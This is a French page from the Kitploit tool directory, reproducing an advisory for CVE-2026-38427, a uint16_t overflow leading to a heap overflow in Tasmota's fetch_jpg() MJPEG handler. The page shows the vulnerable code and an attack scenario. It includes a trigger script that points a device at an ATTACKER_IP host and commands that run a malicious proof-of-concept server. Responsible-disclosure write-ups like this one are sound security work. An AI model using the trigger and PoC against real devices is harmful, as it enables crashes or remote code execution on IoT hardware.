Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-38427 — CVE-2026-38427 — Dépassement d'entier → Débordement de tampon de tas dans Tasmota fetch_jpg() uint16_t (Tasmota <= 15.3.0.3) | Kitploit
Outils/GitHubGitHub/sermikr0/cve-2026-38427
Sécurité des Systèmes EmbarquésSécurité IoTAnalyse des VulnérabilitésExploitationTests d'IntrusionSécurité Matériel et IoTExploitation de Binaires
GitHubsermikr0/cve-2026-38427

CVE-2026-38427

CVE-2026-38427 — Dépassement d'entier → Débordement de tampon de tas dans Tasmota fetch_jpg() uint16_t (Tasmota <= 15.3.0.3)

Voir le dépôt
3il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-38427 : Dépassement d'entier → Débordement de tas dans Tasmota fetch_jpg()

CVE : CVE-2026-38427
Sévérité : Critique (CVSS 9.8)
Produit : Arendst Tasmota
Version affectée : <= 15.3.0.3
Fichier : tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Fonction : fetch_jpg() — cas 2 (récupération de trame MJPEG)
Auteur : Saidakbarxon Maxsudxonov
Divulgation : Responsable — signalé à Tasmota avant publication


Résumé

Une vulnérabilité de dépassement d'entier uint16_t existe dans la fonction fetch_jpg() du pilote scripter de Tasmota. Lorsqu'un appareil Tasmota récupère des trames MJPEG depuis un serveur contrôlé par un attaquant, la valeur de l'en-tête Content-Length est lue dans une variable uint16_t via atoi(). Les valeurs supérieures à 65535 se replient silencieusement (par exemple, 65537 → 1), provoquant l'allocation d'un tampon de tas de taille bien trop petite. L'appareil lit ensuite uniquement le nombre d'octets replié du flux, laissant le reste dans le tampon de flux, ce qui corrompt l'état du tas/du flux et entraîne un plantage (DoS) ou une éventuelle exécution de code à distance.


Code vulnérable

root@kitploit:~
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino

// Case 2: fetch next MJPEG frame
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff));  // reads "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
    size = atoi(cp + 1);   // atoi() returns int 70000
                            // IMPLICIT TRUNCATION: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size);   // malloc(4464) — too small!
if (buff) {
    stream.readBytes(buff, size);                  // reads only 4464 bytes
                                                   // 65536 bytes remain in stream → corruption
}

Tableau de dépassement d'entier


Scénario d'attaque

Un attaquant qui peut forcer un appareil Tasmota à se connecter à son serveur HTTP (via un script Tasmota malveillant ou MITM) peut envoyer des trames MJPEG avec des valeurs Content-Length dépassant 65535. L'appareil va :

  1. Allouer un petit tampon (valeur repliée)
  2. Lire seulement une fraction des données
  3. Laisser les octets restants corrompre l'état du flux HTTP/WiFi
  4. Planter ou présenter un comportement indéfini menant à une potentielle exécution de code à distance

Déclenchement via script Tasmota :

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

Preuve de concept

La PoC exécute un faux serveur HTTP MJPEG qui envoie des trames avec des valeurs Content-Length malveillantes :

root@kitploit:~
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072

Voir CVE-2026-38427_poc.py pour l'implémentation complète.


Impact

  • Confidentialité : Élevé (RCE possible sur ESP32)
  • Intégrité : Élevé
  • Disponibilité : Élevé (plantage/redémarrage garanti)
  • Vecteur d'attaque : Réseau
  • Authentification : Aucune requise (l'appareil doit être scripté pour se connecter au serveur de l'attaquant)

Chronologie

  • 2026-03-29 : Vulnérabilité découverte et signalée à MITRE
  • 2026-03-29 : CVE-2026-38427 attribué
  • 2026-05-xx : Correctif publié par Tasmota (v15.3.0.4+)

Références

  • GitHub de Tasmota
  • xdrv_10_scripter.ino
  • CVE-2026-38427
Télécharger l’outil
Content-Length (en-tête)valeur uint16_tTampon allouéOctets non lus
6553600 (ignoré)65536
6553711 octet65536
7000044644464 octets65536
13107200 (ignoré)131072